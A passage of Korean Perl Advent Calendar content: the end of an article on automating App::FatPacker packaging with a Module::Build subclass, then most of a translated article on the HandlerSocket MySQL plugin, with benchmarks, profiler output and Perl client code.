<p>기본적으로 CPAN에서 설치하려고 할 것입니다.
환경에 맞게 <code>@option</code>에 <code>cpanm</code>의 명령행 옵션을 추가해 설치 방법을 고칠 수 있습니다.</p>
<h2>패킹 작업을 자동화하기</h2>
<p>생성된 파일에 문제가 있다면 <code>fatlib/</code> 디렉터리와
패킹 과정 중에 생성된 <code>packlists</code>와 <code>fatpacker.trace</code> 파일과
<code>fatlib/</code> 디렉터리를 잘 살펴보아야 합니다.
네 번의 입력과 수동적인 추가 작업을
필요할 때마다 반복하는 것은 좋은 일이 아닌 것 같습니다.
자동화를 위해 <code>scripts/upgrade-fatlib.pl</code>을 아래와 같이 작성합니다.<a href="#fn:4" id="fnref:4" class="footnote">4</a></p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use strict;
use App::FatPacker ();
use File::Path;
use Cwd;
my $modules = [ split /\s+/, <<MODULES ];
local/lib.pm
version.pm
MODULES
my $packer = App::FatPacker->new;
my @packlists = $packer->packlists_containing($modules);
$packer->packlists_to_tree(cwd . "/fatlib", \@packlists);
use Config;
rmtree("fatlib/$Config{archname}");
</pre>
<p>자동을 추적하지 못한 모듈은 <code>$modules</code>에 등록하면
올바른 <code>fatlib/</code>을 자동으로 생성할 수 있게 되었습니다.
이제 <code>fatpack file</code> 과정을 <code>./Build</code> 스크립트에 포함하고
쉬뱅 라인을 정리하도록 만듭시다.
<code>Build.PL</code>의 상단에 위 코드를 추가합니다.</p>
<pre class="brush: perl;">
Module::Build->subclass(
class => 'Module::Build::amolog',
code => << 'SUBCLASS');
sub ACTION_fatpack {
my $self = shift;
system $^X, "scripts/upgrade-fatlib.pl";
open my $in, "<", "bin/amolog";
open my $out, ">", "amolog";
while (<$in>) {
s/.+__FATPACK__/`$^X -e "use App::FatPacker -run_script" file`/e;
print $out $_;
}
}
SUBCLASS
</pre>
<p>이렇게 <code>Module::Build</code>의 하위 클래스를 만들고
<code>ACTION_fatpack()</code> 메소드를 추가하면,
<code>./Build fatpack</code> 입력 시 해당 메소드가 실행됩니다.
<code>bin/amolog</code> 파일에서 <code>__FATPACK__</code>라는 부분이 발견되면
그 줄에 패킹된 의존 모듈을 추가하도록 만듭니다.<a href="#fn:5" id="fnref:5" class="footnote">5</a>
따라서 <code>bin/amolog</code> 스크립트 적당한 부분에 <code>__FATPACK__</code>을 추가합니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
# __FATPACK__
use App::amolog;
App::amolog->run;
</pre>
<p>이것으로 완성입니다.</p>
<h2>정리하며</h2>
<p>시스템 관리를 위한 도구를 쉽게 제작하는 방법을 알아보았습니다.
도구의 프론트앤드 명령어와 라이브러리를 분리하여 재사용과 확장에 대비하였습니다.
배포를 위한 작업에 대해 알아보았고, 패킹하여 배포를 용이하게 하는
방법도 알아보았습니다.</p>
<p>펄은 도구를 만드는데 용이합니다.
특히 프론트앤드 제작을 위한 프레임워크와, 백앤드를 제작하기 위한
수많은 CPAN 라이브러리를 참고하면 머리도 몸도 편하고, 놀 시간도 많아집니다.
연말을 즐겁게 마무리하기 위해 잡동사니를 자동화합시다.</p>
<p>이 자리를 빌어 바쁜 와중에
크리스마스 올해 달력 웹사이트 일러스트 및 디자인을 맡아주신 이유라 님과
저의 모델이 되어주신 서울 펄 몽거스 여러분께 감사를 올립니다.</p>
<h2>참고</h2>
<ul>
<li><a href="https://metacpan.org/">(::)</a></li>
<li><a href="http://cpanmin.us/">cpanmin.us의 상단</a></li>
<li><a href="http://aero2blog.blogspot.kr/2010/09/perl-appfatpacker.html">에어로님의 App::FatPacker 블로그 포스트</a></li>
<li><a href="http://advent.rjbs.manxome.org/2009/2009-12-14.html">App::Cmd를 소개한 RJBS의 달력 기사</a></li>
</ul>
<h3>각주</h3>
<div class="footnotes">
<hr />
<ol>
<li id="fn:1"><p>명령 도구를 만들기 위한 간단한 프레임워크인가 봅니다.
XS 모듈에 의존하지 않고, 간소하며, 신뢰할 수 있는 저자의
모듈입니다. 시스템 관리 도구 제작을 위해 쓰는 데 나쁘지 않을 것 같습니다.<a href="#fnref:1" class="reversefootnote"> ↩</a></p></li>
<li id="fn:2"><p>CPAN에 업로드하기 위해서는 고려할 것이 많습니다.
CPAN에 호환하기 위해서는 인덱스와 버전을 잘 관리하고,
빌드 스크립트가 이것을 잘 반영해야 합니다. 모듈은 이식성도 고려해야합니다. <a href="#fnref:2" class="reversefootnote"> ↩</a></p></li>
<li id="fn:3"><p>CPAN에 호환하는 모듈을 제작하려 하는 경우,
이렇게 생성된 <code>fatlib/</code>과 <code>amolog</code>는 CPAN 인덱스에서 제외해야 합니다.
한편, 코드 관리 시스템에는 등록하는 것이 좋을 수 있습니다.
<code>App::FatPacker</code>는 XS를 호환하지 않습니다.<a href="#fnref:3" class="reversefootnote"> ↩</a></p></li>
<li id="fn:4"><p>https://github.com/miyagawa/cpanminus/blob/1.5018/script/upgrade-fatlib.pl<a href="#fnref:4" class="reversefootnote"> ↩</a></p></li>
<li id="fn:5"><p>기사 예제에서는 간소하게 <code>bin/amolog</code>에서 바로 변형하도록 하였지만,
이렇게 구성하면 실행 파일의 탬플렛을 만들어 두기 용이합니다.
사용자에게 제공하는 스크립트와, 패킹하여 제공하는 스크립트를
탬플렛에서 생성하면 관리가 용이할 것입니다.<a href="#fnref:5" class="reversefootnote"> ↩</a></p></li>
</ol>
</div>
2012-12-13T00:00:00+09:00am0cMySQL을 NoSQL로 사용하기http://advent.perl.kr/2012/2012-12-12.html<h2>저자</h2>
<p><a href="http://www.blogger.com/profile/14180479977952026421">Yoshinori Matsunobu</a></p>
<h2>시작하며 - 일반 서버로 초당 750000 쿼리를 초과한 이야기</h2>
<p>대부분의 대규모 웹 응용프로그램들은 MySQL과 memcached를 사용합니다.
그 중 대부분은 TokyoCabinet/Tyrant 같은 NoSQL도 사용하고 있습니다.
몇몇 경우, 사람들은 MySQL을 배제하고, NoSQL과 구분해두었습니다.
NoSQL이 MySQL보다 primary key 검색과 같은 단순 접근 패턴에서 훨씬 뛰어나다는 이유로 말입니다.
웹 응용프로그램들로부터 받는 대부분의 쿼리는 단순하기 때문에
이러한 결정이 합리적인 판단으로 보입니다.</p>
<p>다른 대규모 웹 사이트들처럼 DeNA도 몇 년 동안 동일한 문제를 갖고 있었습니다.
그러나 우리는 다른 결과에 도달하였습니다.
지금도 우리는 <em>MySQL만</em> 사용하고 있습니다.
물론 프론트엔드 캐쉬(예를 들어 전처리된 HTML, 조회/미리보기 정보 등)에서는 아직 memcached를 사용하고 있습니다.
그러나 여러 행을 캐쉬하는데에는 사용하지 않습니다.
또한 NoSQL도 사용하고 있지 않습니다. 왜냐고요?
그건 우리가 MySQL에서 다른 NoSQL 제품들보다 더 나은 성능을 얻어낼 수 있었기 때문입니다.
우리는 벤치마크에서 통상 MySQL/InnoDB 5.1 서버와 원격 웹 클라이언트로부터
초당 75만 쿼리를 얻을 수 있었습니다.
제품 환경에서도 놀라운 성능을 얻을 수 있었습니다.</p>
<p>여러분은 저 숫자가 믿기지 않으시겠지만, 이것은 실제 이야기 입니다.
이 긴 블로그 글을 통해 이 경험을 같이 나누길 바랍니다.</p>
<h2 id="sqlpkprimarykey">SQL은 PK(Primary Key) 검색에 정말 좋을까요?</h2>
<p>여러분은 1초당 얼마나 많은 PK 검색을 실행하길 원하십니까?
DeNA에 있는 응용프로그램은 사용자 ID로 사용자 정보를 불러오거나,
다이어리 ID로 다이어리 정보를 불러오는 등, 어마어마한 양의 PK 검색을 필요로 합니다.
확실히 memcached 와 NoSQL은 그러한 환경에 가장 잘 맞습니다.
간단하게 멀티스레드로 실행한 "memcached get" 벤치마크를 수행했을 때,
우리는 거의 초당 40만회 이상의 get 동작을 수행할 수 있었습니다.
심지어 memcached 클라이언트들이 원격 서버에 위치했는데도 말입니다.
제가 가장 최신(이 블로그 글이 2010년 10월에 작성되었다는 것에 주의)의
libmemcached와 memcached로 테스트 하였을 때,
4 포트짜리 브로드컴 기가빗 이더넷 카드를 갖은 2.5 GHz 8 코어 네할렘 서버에서 초당 42만 쿼리를 얻을 수 있었습니다.</p>
<p>MySQL은 얼마나 빨리 PK 검색을 실행할 수 있을까요? 벤치마킹 방법은 간단합니다.
sysbench, super-smack, mysqlslap 등과 같은 프로그램으로부터
동시다발적인 쿼리들을 실행하면 됩니다.</p>
<pre class="brush: plain;">
[matsunobu@host ~]$ mysqlslap --query="select user_name,..
from test.user where user_id=1" \
--number-of-queries=10000000 --concurrency=30 --host=xxx -uroot
</pre>
<p>여러분은 다음 방법으로 1초당 얼마나 많은 InnoDB 행을 읽었는지 확인할 수 있습니다.</p>
<pre class="brush: plain;">
[matsunobu@host ~]$ mysqladmin extended-status -i 1 -r -uroot \
| grep -e "Com_select"
...
| Com_select | 107069 |
| Com_select | 108873 |
| Com_select | 108921 |
| Com_select | 109511 |
| Com_select | 108084 |
| Com_select | 108483 |
| Com_select | 108115 |
...
</pre>
<p>초당 10만개 이상의 쿼리들을 처리하는 것이 나쁜 성능은 아니지만,
memcached에 비하면 무척 느린 것입니다. MySQL은 실제로 무엇을 했을까요?
<code>vmstat</code> 출력을 보면, <code>%user</code>와 <code>%system</code>에 대한 수치는 무척 높습니다.</p>
<pre class="brush: plain;">
[matsunobu@host ~]$ vmstat 1
r b swpd free buff cache in cs us sy id wa st
23 0 0 963004 224216 29937708 58242 163470 59 28 12 0 0
24 0 0 963312 224216 29937708 57725 164855 59 28 13 0 0
19 0 0 963232 224216 29937708 58127 164196 60 28 12 0 0
16 0 0 963260 224216 29937708 58021 165275 60 28 12 0 0
20 0 0 963308 224216 29937708 57865 165041 60 28 12 0 0
</pre>
<p>Oprofile 출력은 어디에서 CPU 자원들을 소비했는지 더 자세히 알려줍니다.</p>
<pre class="brush: plain;">
samples % app name symbol name
259130 4.5199 mysqld MYSQLparse(void*)
196841 3.4334 mysqld my_pthread_fastmutex_lock
106439 1.8566 libc-2.5.so _int_malloc
94583 1.6498 bnx2 /bnx2
84550 1.4748 ha_innodb_plugin.so.0.0.0 ut_delay
67945 1.1851 mysqld _ZL20make_join_statistics P4JOINP10TABLE_LISTP4ItemP16st_dynamic_array
63435 1.1065 mysqld JOIN::optimize()
55825 0.9737 vmlinux wakeup_stack_begin
55054 0.9603 mysqld MYSQLlex(void*, void*)
50833 0.8867 libpthread-2.5.so pthread_mutex_trylock
49602 0.8652 ha_innodb_plugin.so.0.0.0 row_search_for_mysql
47518 0.8288 libc-2.5.so memcpy
46957 0.8190 vmlinux .text.elf_core_dump
46499 0.8111 libc-2.5.so malloc
</pre>
<p><code>MYSQLparse()</code>와 <code>MYSQLlex()</code>는 SQL 분석 부분에서 호출합니다.
<code>make_join_statistics()</code>와 <code>JOIN::optimize()</code>는 쿼리 최적화 부분에서 호출합니다.
이것들은 <em>SQL의</em> 오버헤드입니다.
이것은 명백히 대부분의 SQL 레이어가 원인이 되어 성능을 떨어뜨리는 것이지,
<em>Inno DB(스토리지)</em> 레이어에 의하여 성능이 떨어지는 것은 아닙니다.
MySQL은 아래의 memcached/NoSQL이 필요로 하지 않는, 더 많은 것들을 할 수 있습니다.</p>
<ul>
<li>SQL 명령문 분석(파싱)</li>
<li>테이블 열기, 검색하기</li>
<li>SQL 실행 계획 만들기</li>
<li>테이블 언락 및 닫기</li>
</ul>
<p>MySQL 또한 수많은 동시 제어를 할 수 있습니다.
예를 들어, 네트워크 패킷들을 송수신 할 때, 엄청난 횟수의 <code>fcntl()</code> 함수를 호출합니다.
<code>LOCK_open</code>, <code>LOCK_thread_count</code>과 같은 전역 뮤텍스를 아주 빈번하게 생성하고 해제합니다.
<code>my_pthread_fastmutex_lock()</code>이 Oprofile에서 두 번째로 <code>%output</code>과 <code>%system</code>을 적지 않게 쓰고 있는 이유입니다.
MySQL 개발팀과 외부 커뮤니티 모두 동시성 이슈에 대해 알고 있습니다.
어떤 이슈들은 이미 5.5 버전에서 해결되었습니다.
저는 이미 많은 문제점들이 고쳐졌다는 것에 대해 무척 기쁘게 생각합니다.
그러나 <code>%user</code>가 60%에 육박한다는 점 또한 무척 중요합니다.
뮤텍스 경쟁은 결과적으로 <code>%user</code> 증가가 아닌 <code>%system</code> 증가를 야기합니다.
심지어 MySQL 내부의 모든 뮤텍스 문제들이 고쳐졌다 하더라도, 초당 30만 쿼리를 기대할 수 없습니다.
여러분은 아마도 HANDLER 명령문에 대하여 들은 적이 있을 것입니다.
불행하게도 HANDLER 명령문은 출력 향상에 많은 도움이 되지는 않습니다.
왜냐하면 쿼리를 분석하고, 테이블을 여닫는 일이 아직까진 필요하기 때문입니다.</p>
<h2 id="cpu.">메모리 기반 작업에서 CPU 효율성은 중요합니다.</h2>
<p>만약 메모리 용량에 맞는 활성화된 작은 데이터가 있다면,
SQL 오버헤드는 상대적으로 무시할 수 있습니다.
그 이유는 디스크 I/O 비용이 훨씬 높기 때문입니다.
이 경우, 우리는 SQL 비용에 대해 크게 신경 쓸 필요가 없는 것입니다.
그러나 불타고 있는 우리의 몇몇 MySQL 서버들은,
거의 모든 데이터가 메모리 안에 있으며, 완벽하게 CPU와 관련이 있습니다.
프로파일링 결과는 위에 제가 쓴 내용과 동일했습니다.</p>
<blockquote>
<p>"SQL 레이어가 대부분의 리소스를 소비한다."</p>
</blockquote>
<p>우리는 수많은 Primary key 검색(예를 들어, <code>SELECT x FROM t where id=?</code>)이나 제한된 범위 검색 수행이 필요했습니다.
심지어 쿼리들의 70~80%는 단순히 같은 테이블에서 PK 검색을 하는 것이었습니다.
(차이점은 단순히 WHERE 값이 다를 뿐이었습니다.)
MySQL은 매 쿼리마다 분석하고/열고/닫고/잠궈야 했으며,
그것은 우리에게 효율적으로 보이지 않았습니다.</p>
<h2 id="ndbapi">NDBAPI에 관하여 들어보셨습니까?</h2>
<p>MySQL에서 SQL 레이어 전체의 CPU 자원/경쟁을 감소시키는 좋은 솔루션이 있을까요?
만약 여러분이 MySQL 클러스터를 사용하고 있다면,
NDBAPI는 좋은 솔루션이 될 수 있을 것입니다.
제가 MySQL/Sun/Oracle에서 컨설턴트로 일했을 때,
SQL Node + NDB 성능에 대해 실망하는 많은 고객들을 보았습니다.
그리고 NDBAPI 클라이언트를 작성하는 것으로 몇 배나 더 좋은 성능을 얻고나서야 좋아했습니다.
여러분은 NDBAPI와 SQL을 MySQL 클러스터에서 사용할 수 있습니다.
빈번한 접근 패턴에는 NDBAPI를 사용하고,
ad-hoc이나 빈번하지 않은 쿼리 패턴에 대해서는 SQL + MySQL + NDB를 사용하는 것을 추천합니다.</p>
<p>이것이 우리가 원하던 것이었습니다. 우리는 더 빠른 접근 API들을 원하였지만,
ad-hoc이나 복잡한 쿼리들에 대해서는 SQL도 사용하기를 원하였습니다.
그러나 DeNA는 다른 웹 서비스들과 같이, InnoDB를 사용하고 있습니다.
NDB로 전환하려는 시도는 간단하지 않았습니다.
Embedded InnoDB는 SQL이나 네트워크 인터페이스를 모두 지원하지 않았기 때문에 우리에겐 해당사항이 없었습니다.</p>
<h2 id="handlersocket-nosqlmysql">"HandlerSocket 플러그인" 개발하기 - NoSQL 프로토콜로 말하는 MySQL 플러그인</h2>
<p>우리는 MySQL 안에 NoSQL 네트워크 서버를 구현하는 것이 가장 좋은 접근 방법이라고 생각하였습니다.
즉, MySQL 플러그인 (데몬 플러그인)으로서 특정 포트로부터 수신을 하고,
NoSQL 프로토콜/API를 수용하고,
MySQL 내부 스토리지 API를 사용하여 직접적으로 InnoDB에 접근하는 네트워크 서버를 작성하는 것입니다.
이 접근은 NDBAPI와 동일하지만, 이것은 InnoDB와 통신할 수 있습니다.
이 개념은 초기에 작년 Cybozu Labs에서 Kazuho Oku가 처음 고안하고, 시험해봤던 개념입니다.
우리는 memcached 프로토콜로 통신하는 MyCached를 제작했습니다.
저의 대학에선 Akira Higuchi가 다른 플러그인인 HandlerSocket을 만들었습니다.
아래의 그림은 HandlerSocket이 무엇을 하는지 보여주는 그림입니다.</p>
<p><img src="2012-12-12-1_r.png" alt="HandlerSocket이란 무엇인가?" id="handlersocket" />
<em>그림 1.</em> HandlerSocket이란 무엇인가? (<a href="2012-12-12-1.png">확대</a>, <a href="http://4.bp.blogspot.com/__ybECuKG5tc/TLqWDlJxDNI/AAAAAAAAACQ/bOq6w5Q5nYc/s1600/mysql_HandlerSocket.png">원본</a>)</p>
<p>HandlerSocket은 NoSQL과 같이 MySQL을 사용할 수 있는 MySQL 데몬 플러그인입니다.
HandlerSocket의 가장 큰 목적은 SQL 관련 오버헤드 없이 InnoDB 와 같은 저장소 엔진과 통신하는 것입니다.
물론 MySQL 테이블에 접근하기 위해 HandlerSocket은 테이블을 여닫을 필요가 있습니다.
그러나 HandlerSocket은 매번 테이블을 여닫지 않습니다.
재사용을 위해 테이블을 열어둔 상태로 유지합니다.
테이블을 여닫는 것은 비용이 아주 비싸고,
심각한 mutex 경쟁을 야기하기 때문에 성능을 개선하는 데에는 아주 도움이 되었습니다.
물론 HandlerSocket은 트래픽이 적을 때에나 여러 상황에서 테이블을 닫기 때문에 관리자 명령어(DDL)를 영원히 막지는 않습니다.
MySQL + memcached를 사용하는 것과 무엇이 다르냐고요?
그림 1과 2를 비교해보시면, 많은 차이점을 아시리라 생각합니다.
그림 2는 전형적인 memcached와 MySQL 사용예를 보여줍니다.
memcached는 점진적으로 데이터베이스 기록을 캐쉬하는데에 사용합니다.
이것은 memcached get 동작이 MySQL 안에서 메모리/디스크 상의 PK 검색을 하는 것보다 더 빠르다는 것이 주요 이유입니다.
만약 HandlerSocket이 memcached만큼이나 빠르게 레코드들을 불러올 수 있다면,
레코드들을 기록하는데에 memcached를 사용할 필요가 없습니다.</p>
<p><img src="2012-12-12-2_r.png" alt="MySQL + memcached 에 대한 공통 구조 패턴" id="mysqlmemcached" />
<em>그림 2.</em> MySQL + memcached 에 대한 공통 구조 패턴 (<a href="2012-12-12-2.png">확대</a>, <a href="http://1.bp.blogspot.com/__ybECuKG5tc/TLqV2t9GeeI/AAAAAAAAACI/e8knOF_enPM/s1600/mysql_memcached.png">원본</a>)</p>
<h2 id="handlersocket">HandlerSocket 사용하기</h2>
<p>예를들어, 여기 <em>user</em> 테이블이 있고,
<code>user_id</code>를 이용하여 사용자 정보를 불러올 필요가 있다고 가정해봅시다.</p>
<pre class="brush: plain;">
CREATE TABLE user (
user_id INT UNSIGNED PRIMARY KEY,
user_name VARCHAR(50),
user_email VARCHAR(255),
created DATETIME
) ENGINE=InnoDB;
</pre>
<p>MySQL에서 사용자 정보를 불러들이는 것은 물론 SELECT 명령문으로 가능합니다.</p>
<pre class="brush: plain;">
mysql> SELECT user_name, user_email, created FROM user WHERE user_id=101;
+---------------+-----------------------+---------------------+
| user_name | user_email | created |
+---------------+-----------------------+---------------------+
| Yukari Takeba | yukari.takeba@dena.jp | 2010-02-03 11:22:33 |
+---------------+-----------------------+---------------------+
1 row in set (0.00 sec)
</pre>
<p>우리가 위의 작업을 HandlerSocket으로 어떻게 똑같이 할 수 있는지 봅시다.</p>
<h2 id="handlersocket">HandlerSocket 설치하기</h2>
<p>설치 단계에 대해서는 <a href="http://github.com/ahiguti/HandlerSocket-Plugin-for-MySQL/blob/master/docs-en/installation.en.txt">여기</a>에 설명해두었습니다. 대강의 기본 단계는 다음과 같습니다.</p>
<ul>
<li>HandlerSocket을 다운로드 받습니다.</li>
<li>HandlerSocket을 (클라이언트와 서버 코드 모두) 빌드합니다.
<code>./configure --with-mysql-source=... --with-mysql-bindir=... ; make; make install</code></li>
<li>MySQL에서 Handlersocket을 설치합니다. <code>mysql> INSTALL PLUGIN handlersocket soname 'handlersocket.so';</code></li>
</ul>
<p>HandlerSocket이 MySQL 플러그인으로 등록된 이후부터,
여러분은 InnoDB 플러그인, Q4M, Spider 등 다른 플러그인들과 같이 사용할 수 있습니다.
즉, 여러분이 MySQL 소스코드를 직접 수정할 필요가 없습니다.
MySQL 버전은 5.1 이후이면 됩니다.
여러분은 HandlerSocket을 빌드하기 위해 MySQL 소스코드와 바이너리 모두 필요합니다.</p>
<h2 id="handlersocket">HandlerSocket 클라이언트 코드 작성하기</h2>
<p>우리는 C++와 Perl 클라이언트 라이브러리를 제공합니다.
여기 PK 검색으로 한 행을 불러오는 간단한 Perl 코드가 있습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/perl
use strict;
use warnings;
use Net::HandlerSocket;
#1. establishing a connection
my $args = { host => 'ip_to_remote_host', port => 9998 };
my $hs = new Net::HandlerSocket($args);
#2. initializing an index so that we can use in main logics.
# MySQL tables will be opened here (if not opened)
my $res = $hs->open_index(0, 'test', 'user', 'PRIMARY',
'user_name,user_email,created');
die $hs->get_error() if $res != 0;
#3. main logic
# fetching rows by id
# execute_single (index id, cond, cond value, max rows, offset)
$res = $hs->execute_single(0, '=', [ '101' ], 1, 0);
die $hs->get_error() if $res->[0] != 0;
shift(@$res);
for (my $row = 0; $row < 1; ++$row) {
my $user_name= $res->[$row + 0];
my $user_email= $res->[$row + 1];
my $created= $res->[$row + 2];
print "$user_name\t$user_email\t$created\n";
}
#4. closing the connection
$hs->close();
</pre>
<p>위의 코드는 <code>user_name</code>, <code>user_email</code>을 불러들이고 user 테이블로부터 칼럼을 생성하고,
<code>user_id=101</code> 조건으로 검색을 합니다.
따라서 여러분은 위의 SELECT문과 같은 결과를 얻을 것입니다.</p>
<pre class="brush: plain;">
[matsunobu@host ~]$ perl sample.pl
Yukari Takeba yukari.takeba@dena.jp 2010-02-03 11:22:33
</pre>
<p>대부분의 웹 응용프로그램들에서는 가벼운 HandlerSocket 연결들을
확립(established, 영구적인 연결)하도록 유지하여서
많은 요청을 주요 로직(위의 코드에서 #3)상에 집중하는 것이 좋습니다.
HandlerSocket 프로토콜은 크기가 작은 텍스트기반 프로토콜입니다.
memcached 텍스트 프로토콜과 같이,
텔넷을 이용하여 HandlerSocket을 통한 결과값들을 얻어올 수 있습니다.</p>
<pre class="brush: plain;">
[matsunobu@host ~]$ telnet 192.168.1.2 9998
Trying 192.168.1.2...
Connected to xxx.dena.jp (192.168.1.2).
Escape character is '^]'.
P 0 test user PRIMARY user_name,user_email,created
0 1
0 = 1 101
0 3 Yukari Takeba yukari.takeba@dena.jp 2010-02-03 11:22:33
(P 0 test user PRIMARY 부분과 0 = 1 101 부분은 요청 패킷 부분으로, 각 토큰 영역은 탭으로 구분해야 한다.)
</pre>
<h2>벤치마킹</h2>
<p>이제 우리의 벤치마크 결과를 보여줄 수 있는 시간입니다.
저는 위의 사용자 테이블을 사용하고,
멀티스레드를 이용한 원격 클라이언트로부터
얼마나 많은 PK 검색 동작을 어떻게 수행할 수 있는지 테스트했습니다.
모든 사용자 자료 크기는 메모리 크기에 맞았습니다.
(저는 10만개의 데이터를 테스트 했습니다.)
또한 같은 데이터로 memcached를 테스트 하였습니다.
(사용자 데이터를 불러들이기 위해 libmemcached와 <code>memcached_get()</code>을 사용하였습니다.)
SQL 테스트를 통한 MySQL 테스트에서는, 전통적인 SELECT 문으로
<code>SELECT user_name,user_email, created FROM user WHERE user_id=?</code>를 사용하였습니다.
memcached와 HandlerSocket 클라이언트 코드는 C/C++로 작성하였습니다.
모든 클라이언트 프로그램들은 원격 호스트에 두었으며, TCP/IP를 통한 MySQL/memcached에 연결하였습니다.
가장 높은 수치는 다음과 같습니다.</p>
<pre class="brush: plain;">
approx qps server CPU util
MySQL via SQL 105,000 %us 60% %sy 28%
memcached 420,000 %us 8% %sy 88%
MySQL via HandlerSocket 750,000 %us 45% %sy 53%
</pre>
<p>HandlerSocket을 통한 MySQL이 3/4 밖에 안되는 <code>%us</code>를 가지고도,
SQL 구문을 이용한 전통적인 MySQL보다 7.5배나 높은 결과를 얻을 수 있었습니다.
이는 MySQL 내의 SQL 레이어가 무척 비용이 비싸다는 것과 레이어를 우회하는 것이
극적으로 성능을 향상시킨다는 것을 보여줍니다.
또한 memcached는 <code>%system</code> 자원을 더 많이 사용함에도 불구하고,
HandlerSocket이 memcached보다 178% 더 빠르다는 것이 흥미롭습니다.
비록 memcached는 훌륭한 제품이지만, 최적화의 여지가 남아 있습니다.</p>
<p>아래의 내용은 oprofile의 출력물로 HandlerSocket을 이용한 MySQL 테스트 동안에 얻은 내용입니다.
CPU 자원들은 네트워크 패킷 핸들링, 행 불러오기 등,
핵심 동작들에 소비되고 있습니다. (bnx2는 네트워크 드라이버 프로그램입니다.)</p>
<pre class="brush: plain;">
samples % app name symbol name
984785 5.9118 bnx2 /bnx2
847486 5.0876 ha_innodb_plugin.so.0.0.0 ut_delay
545303 3.2735 ha_innodb_plugin.so.0.0.0 btr_search_guess_on_hash
317570 1.9064 ha_innodb_plugin.so.0.0.0 row_search_for_mysql
298271 1.7906 vmlinux tcp_ack
291739 1.7513 libc-2.5.so vfprintf
264704 1.5891 vmlinux .text.super_90_sync
248546 1.4921 vmlinux blk_recount_segments
244474 1.4676 libc-2.5.so _int_malloc
226738 1.3611 ha_innodb_plugin.so.0.0.0 _ZL14build_template
P19row_prebuilt_structP3THDP8st_tablej
206057 1.2370 HandlerSocket.so dena::hstcpsvr_worker::run_one_ep()
183330 1.1006 ha_innodb_plugin.so.0.0.0 mutex_spin_wait
175738 1.0550 HandlerSocket.so dena::dbcontext::
cmd_find_internal(dena::dbcallback_i&, dena::prep_stmt const&,
ha_rkey_function, dena::cmd_exec_args const&)
169967 1.0203 ha_innodb_plugin.so.0.0.0 buf_page_get_known_nowait
165337 0.9925 libc-2.5.so memcpy
149611 0.8981 ha_innodb_plugin.so.0.0.0 row_sel_store_mysql_rec
148967 0.8943 vmlinux generic_make_request
</pre>
<p>HandlerSocket을 통한 MySQL 테스트가 MySQL에서 수행되고,
InnoDB를 접근하기 시작하면,
SHOW GLOBAL STATUS와 같은 일반 MySQL 명령어로부터 통계값을 얻을 수 있습니다.
75만회 이상의 Innodb_rows_read 를 볼 수 있습니다.</p>
<pre class="brush: plain;">
$ mysqladmin extended-status -uroot -i 1 -r | grep "InnoDB_rows_read"
...
| Innodb_rows_read | 750192 |
| Innodb_rows_read | 751510 |
| Innodb_rows_read | 757558 |
| Innodb_rows_read | 747060 |
| Innodb_rows_read | 748474 |
| Innodb_rows_read | 759344 |
| Innodb_rows_read | 753081 |
| Innodb_rows_read | 754375 |
...
</pre>
<p>서버에 대한 자세한 사양은 다음과 같습니다.</p>
<pre class="brush: plain;">
Detailed specs were as follows.
Model: Dell PowerEdge R710
CPU: Nehalem 8 cores, E5540 @ 2.53GHz
RAM: 32GB (all data fit in the buffer pool)
MySQL Version: 5.1.50 with InnoDB Plugin
memcached/libmemcached version: 1.4.5(memcached), 0.44(libmemcached)
Network: Broadcom NetXtreme II BCM5709 1000Base-T (Onboard, quad-port, using three ports)
</pre>
<p>memcached와 HandlerSocket 양쪽 모두 네트워크 I/O 대역폭을 모두 소모하였습니다. 단일 포트로 테스트 했을 때는 HandlerSocket을 이용하는 쪽이 초당 26만 쿼리, memcached 상에서는 22만 쿼리에 근접했습니다.</p>
<h2 id="handlersocket">HandlerSocket의 구성요소와 이점</h2>
<p>HandlerSocket은 다음과 같은 다양한 구성요소와 이점을 가지고 있습니다.
그것들 중 몇몇은 실제로 우리에게 유용한 것들입니다.</p>
<h3>다양한 쿼리 패턴을 지원</h3>
<p>HandlerSocket은 PK/unique 검색, non-unique 검색,
범위 스캔, LIMIT, 그리고 INSERT/UPDATE/DELETE를 지원합니다.
index를 사용하지 않는 동작들은 지원하지 않습니다.
multi_get 동작 (IN(1,2,3..)과 유사한, 단일 네트워크 round-trip을 통한 다중 행들을 불러오기) 또한 지원합니다.</p>
<p><a href="http://github.com/ahiguti/HandlerSocket-Plugin-for-MySQL/tree/master/docs-en/">HandlerSocket 플러그인 문서</a>에서
자세한 사항을 확인하십시오.</p>
<h3>수많은 동시 접속들을 제어할 수 있음</h3>
<p>HandlerSocket 연결은 가볍습니다.
HandlerSocket이 epool()과 worker-thread/thread-pooling 구조를 채용한 이후로,
MySQL 내부 스레드 수가 제한사항이 되었습니다.
(<code>my.cnf</code> 안에서 <code>handlersocket_threads</code> 파라메터로 제어할 수 있습니다.)
따라서 여러분은 수백에서 수십만 네트워크 접속을
안정성을 잃지 않고(너무 많은 메모리를 사용하거나, 뮤텍스 경쟁을 야기하지 않는 등
(버그 <a href="http://bugs.mysql.com/bug.php?id=26590">#26590</a>, <a href="http://bugs.mysql.com/bug.php?id=33948">#33948</a>,
<a href="http://bugs.mysql.com/bug.php?id=49169">#49169</a>와 같은 문제점), 영구적으로 유지할 수 있습니다.</p>
<h3>극한의 고성능</h3>
<p>이미 설명하였지만,
HandlerSocket은 다른 NoSQL 라인업들과 대항할 수 있는 충분히 경쟁할 만한 성능을 얻을 수 있습니다.
실제로 일반 TCP/IP를 통한 원격 클라이언트들을 사용하여,
일반 서버상에서 75만 쿼리 이상을 수행하는 것을 본적이 없습니다.
HandlerSocket은 SQL 관련 함수 호출을 없앴을 뿐만 아니라,
네트워크/동시성 문제도 최적화 하였습니다.</p>
<h3>더 작은 네트워크 패킷</h3>
<p>HandlerSocket 프로토콜은 일반 MySQL 프로토콜보다 아주 단순하고 작습니다.
따라서 전체 네트워크 전송 크기가 무척 작습니다.
제한적인 MySQL 내부 스레드의 수에서도 동작합니다.
위에 이미 설명하였습니다.</p>
<h3>클라이언트 요청을 그룹핑 합니다.</h3>
<p>HandlerSocket에 수많은 동시 요청이 몰릴 경우,
각 워커 스레드는 가능한 많은 요청을 모으고,
모은 요청을 한 번에 수행하며 결과를 돌려줍니다.
이것은 응답시간을 약간 소모하는 것으로 성능을 비약적으로 개선할 수 있었습니다.
예를 들어, 여러분이 다음과 같은 이익을 얻을 수 있습니다.
원하신다면 이후의 글에서 더 자세히 설명하도록 하겠습니다.</p>
<ul>
<li><code>fsync()</code> 호출의 수를 줄일 수 있다.</li>
